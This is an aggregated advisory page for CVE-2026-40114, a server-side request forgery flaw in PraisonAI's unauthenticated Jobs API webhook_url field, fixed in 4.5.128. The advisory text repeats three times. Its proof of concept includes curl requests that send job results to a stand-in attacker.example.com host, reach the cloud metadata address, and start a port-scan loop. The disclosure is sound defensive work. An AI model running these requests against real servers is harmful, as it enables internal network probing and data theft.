Every CVE Search/ Get API key

CVE-2026-40114

PraisonAI has Server-Side Request Forgery via Unvalidated webhook_url in Jobs API

7.2 HighFix available

PraisonAI is a multi-agent teams system. Prior to 4.5.128, the /api/v1/runs endpoint accepts an arbitrary webhook_url in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using httpx.AsyncClient. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services. This vulnerability is fixed in 4.5.128.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.24%Up 0.2 points since Apr 10, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.2

PraisonAI has Server-Side Request Forgery via Unvalidated webhook_url in Jobs API

PraisonAI is a multi-agent teams system. Prior to 4.5.128, the /api/v1/runs endpoint accepts an arbitrary webhook_url in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using httpx.AsyncClient. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services. This vulnerability is fixed in 4.5.128.

Record
CVE-2026-40114
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
EUVDEUVD-2026-21158 7.2

PraisonAI is a multi-agent teams system. Prior to 4.5.128, the /api/v1/runs endpoint accepts an arbitrary webhook_url in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using httpx.AsyncClient. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services. This vulnerability is fixed in 4.5.128.

Record
EUVD-2026-21158
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-8frj-8q3m-xhgm 7.2

PraisonAI Vulnerable to Server-Side Request Forgery via Unvalidated webhook_url in Jobs API

Summary

The /api/v1/runs endpoint accepts an arbitrary webhook_url in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using httpx.AsyncClient. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services.

Details

The vulnerability exists across the full request lifecycle:

1. User input accepted without validation — models.py:32:

class JobSubmitRequest(BaseModel):
    webhook_url: Optional[str] = Field(None, description="URL to POST results when complete")

The field is a plain str with no URL validation — no scheme restriction, no host filtering.

2. Stored directly on the Job object — router.py:80-86:

job = Job(
    prompt=body.prompt,
    ...
    webhook_url=body.webhook_url,
    ...
)

3. Used in an outbound HTTP request — executor.py:385-415:

async def _send_webhook(self, job: Job):
    if not job.webhook_url:
        return
    try:
        import httpx
        payload = {
            "job_id": job.id,
            "status": job.status.value,
            "result": job.result if job.status == JobStatus.SUCCEEDED else None,
            "error": job.error if job.status == JobStatus.FAILED else None,
            ...
        }
        async with httpx.AsyncClient(timeout=30.0) as client:
            response = await client.post(
                job.webhook_url,    # <-- attacker-controlled URL
                json=payload,
                headers={"Content-Type": "application/json"}
            )

4. Triggered on both success and failure paths — executor.py:180-205:

# Line 180-181: on success
if job.webhook_url:
    await self._send_webhook(job)

# Line 204-205: on failure
if job.webhook_url:
    await self._send_webhook(job)

5. No authentication on the Jobs API server — server.py:82-101: The create_app() function creates a FastAPI app with CORS allowing all origins (["*"]) and no authentication middleware. The jobs router is mounted directly with no auth dependencies.

There is zero URL validation anywhere in the chain: no scheme check (allows http://, https://, and any scheme httpx supports), no private/internal IP filtering, and no allowlist.

PoC

Step 1: Start a listener to observe SSRF requests

# In a separate terminal, start a simple HTTP listener
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import json

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        print(f'Received POST from PraisonAI server:')
        print(json.dumps(json.loads(body), indent=2))
        self.send_response(200)
        self.end_headers()

HTTPServer(('0.0.0.0', 9999), Handler).serve_forever()
"

Step 2: Submit a job with a malicious webhook_url

# Point webhook to attacker-controlled server
curl -X POST http://localhost:8005/api/v1/runs \
  -H 'Content-Type: application/json' \
  -d '{
    "prompt": "say hello",
    "webhook_url": "http://attacker.example.com:9999/steal"
  }'

Step 3: Target internal services (cloud metadata)

# Attempt to reach AWS metadata service
curl -X POST http://localhost:8005/api/v1/runs \
  -H 'Content-Type: application/json' \
  -d '{
    "prompt": "say hello",
    "webhook_url": "http://169.254.169.254/latest/meta-data/"
  }'

Step 4: Internal network port scanning

# Scan internal services by observing response timing
for port in 80 443 5432 6379 8080 9200; do
  curl -s -X POST http://localhost:8005/api/v1/runs \
    -H 'Content-Type: application/json' \
    -d "{
      \"prompt\": \"say hello\",
      \"webhook_url\":…
Record
GHSA-8frj-8q3m-xhgm
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
NVD 7.2

PraisonAI is a multi-agent teams system. Prior to 4.5.128, the /api/v1/runs endpoint accepts an arbitrary webhook_url in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using httpx.AsyncClient. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services. This vulnerability is fixed in 4.5.128.

Record
CVE-2026-40114
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Weakness
CWE-918
Updated
2026-11-02
OSV 7.2

PraisonAI has Server-Side Request Forgery via Unvalidated webhook_url in Jobs API

PraisonAI is a multi-agent teams system. Prior to 4.5.128, the /api/v1/runs endpoint accepts an arbitrary webhook_url in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using httpx.AsyncClient. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services. This vulnerability is fixed in 4.5.128.

Record
CVE-2026-40114
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
OSVGHSA-8frj-8q3m-xhgm 7.2

PraisonAI Vulnerable to Server-Side Request Forgery via Unvalidated webhook_url in Jobs API

Summary

The /api/v1/runs endpoint accepts an arbitrary webhook_url in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using httpx.AsyncClient. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services.

Details

The vulnerability exists across the full request lifecycle:

1. User input accepted without validation — models.py:32:

class JobSubmitRequest(BaseModel):
    webhook_url: Optional[str] = Field(None, description="URL to POST results when complete")

The field is a plain str with no URL validation — no scheme restriction, no host filtering.

2. Stored directly on the Job object — router.py:80-86:

job = Job(
    prompt=body.prompt,
    ...
    webhook_url=body.webhook_url,
    ...
)

3. Used in an outbound HTTP request — executor.py:385-415:

async def _send_webhook(self, job: Job):
    if not job.webhook_url:
        return
    try:
        import httpx
        payload = {
            "job_id": job.id,
            "status": job.status.value,
            "result": job.result if job.status == JobStatus.SUCCEEDED else None,
            "error": job.error if job.status == JobStatus.FAILED else None,
            ...
        }
        async with httpx.AsyncClient(timeout=30.0) as client:
            response = await client.post(
                job.webhook_url,    # <-- attacker-controlled URL
                json=payload,
                headers={"Content-Type": "application/json"}
            )

4. Triggered on both success and failure paths — executor.py:180-205:

# Line 180-181: on success
if job.webhook_url:
    await self._send_webhook(job)

# Line 204-205: on failure
if job.webhook_url:
    await self._send_webhook(job)

5. No authentication on the Jobs API server — server.py:82-101: The create_app() function creates a FastAPI app with CORS allowing all origins (["*"]) and no authentication middleware. The jobs router is mounted directly with no auth dependencies.

There is zero URL validation anywhere in the chain: no scheme check (allows http://, https://, and any scheme httpx supports), no private/internal IP filtering, and no allowlist.

PoC

Step 1: Start a listener to observe SSRF requests

# In a separate terminal, start a simple HTTP listener
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import json

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        print(f'Received POST from PraisonAI server:')
        print(json.dumps(json.loads(body), indent=2))
        self.send_response(200)
        self.end_headers()

HTTPServer(('0.0.0.0', 9999), Handler).serve_forever()
"

Step 2: Submit a job with a malicious webhook_url

# Point webhook to attacker-controlled server
curl -X POST http://localhost:8005/api/v1/runs \
  -H 'Content-Type: application/json' \
  -d '{
    "prompt": "say hello",
    "webhook_url": "http://attacker.example.com:9999/steal"
  }'

Step 3: Target internal services (cloud metadata)

# Attempt to reach AWS metadata service
curl -X POST http://localhost:8005/api/v1/runs \
  -H 'Content-Type: application/json' \
  -d '{
    "prompt": "say hello",
    "webhook_url": "http://169.254.169.254/latest/meta-data/"
  }'

Step 4: Internal network port scanning

# Scan internal services by observing response timing
for port in 80 443 5432 6379 8080 9200; do
  curl -s -X POST http://localhost:8005/api/v1/runs \
    -H 'Content-Type: application/json' \
    -d "{
      \"prompt\": \"say hello\",
      \"webhook_url\":…
Record
GHSA-8frj-8q3m-xhgm
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
OSVPYSEC-2026-2906 7.2

PraisonAI Vulnerable to Server-Side Request Forgery via Unvalidated webhook_url in Jobs API

Summary

The /api/v1/runs endpoint accepts an arbitrary webhook_url in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using httpx.AsyncClient. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services.

Details

The vulnerability exists across the full request lifecycle:

1. User input accepted without validation — models.py:32:

class JobSubmitRequest(BaseModel):
    webhook_url: Optional[str] = Field(None, description="URL to POST results when complete")

The field is a plain str with no URL validation — no scheme restriction, no host filtering.

2. Stored directly on the Job object — router.py:80-86:

job = Job(
    prompt=body.prompt,
    ...
    webhook_url=body.webhook_url,
    ...
)

3. Used in an outbound HTTP request — executor.py:385-415:

async def _send_webhook(self, job: Job):
    if not job.webhook_url:
        return
    try:
        import httpx
        payload = {
            "job_id": job.id,
            "status": job.status.value,
            "result": job.result if job.status == JobStatus.SUCCEEDED else None,
            "error": job.error if job.status == JobStatus.FAILED else None,
            ...
        }
        async with httpx.AsyncClient(timeout=30.0) as client:
            response = await client.post(
                job.webhook_url,    # <-- attacker-controlled URL
                json=payload,
                headers={"Content-Type": "application/json"}
            )

4. Triggered on both success and failure paths — executor.py:180-205:

# Line 180-181: on success
if job.webhook_url:
    await self._send_webhook(job)

# Line 204-205: on failure
if job.webhook_url:
    await self._send_webhook(job)

5. No authentication on the Jobs API server — server.py:82-101: The create_app() function creates a FastAPI app with CORS allowing all origins (["*"]) and no authentication middleware. The jobs router is mounted directly with no auth dependencies.

There is zero URL validation anywhere in the chain: no scheme check (allows http://, https://, and any scheme httpx supports), no private/internal IP filtering, and no allowlist.

PoC

Step 1: Start a listener to observe SSRF requests

# In a separate terminal, start a simple HTTP listener
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import json

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        print(f'Received POST from PraisonAI server:')
        print(json.dumps(json.loads(body), indent=2))
        self.send_response(200)
        self.end_headers()

HTTPServer(('0.0.0.0', 9999), Handler).serve_forever()
"

Step 2: Submit a job with a malicious webhook_url

# Point webhook to attacker-controlled server
curl -X POST http://localhost:8005/api/v1/runs \
  -H 'Content-Type: application/json' \
  -d '{
    "prompt": "say hello",
    "webhook_url": "http://attacker.example.com:9999/steal"
  }'

Step 3: Target internal services (cloud metadata)

# Attempt to reach AWS metadata service
curl -X POST http://localhost:8005/api/v1/runs \
  -H 'Content-Type: application/json' \
  -d '{
    "prompt": "say hello",
    "webhook_url": "http://169.254.169.254/latest/meta-data/"
  }'

Step 4: Internal network port scanning

# Scan internal services by observing response timing
for port in 80 443 5432 6379 8080 9200; do
  curl -s -X POST http://localhost:8005/api/v1/runs \
    -H 'Content-Type: application/json' \
    -d "{
      \"prompt\": \"say hello\",
      \"webhook_url\":…
Record
PYSEC-2026-2906
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
praisonai
PyPI
before 4.5.128
4.5.128
praisonai
PyPI
before 4.5.128, plus listed versions
0.0.10.0.100.0.110.0.120.0.13
Show 45 moreShow less
0.0.140.0.150.0.160.0.170.0.180.0.190.0.20.0.200.0.210.0.220.0.230.0.240.0.250.0.260.0.270.0.280.0.290.0.30.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.40.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.50.0.500.0.520.0.530.0.540.0.55
4.5.128

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-40114 is a high vulnerability (CVSS 7.2) in Mervinpraison Praisonai, published April 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 15th percentile. Fixed in praisonai 4.5.128.

References

This page doesn't list everything

Left out here: 635 versions and the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open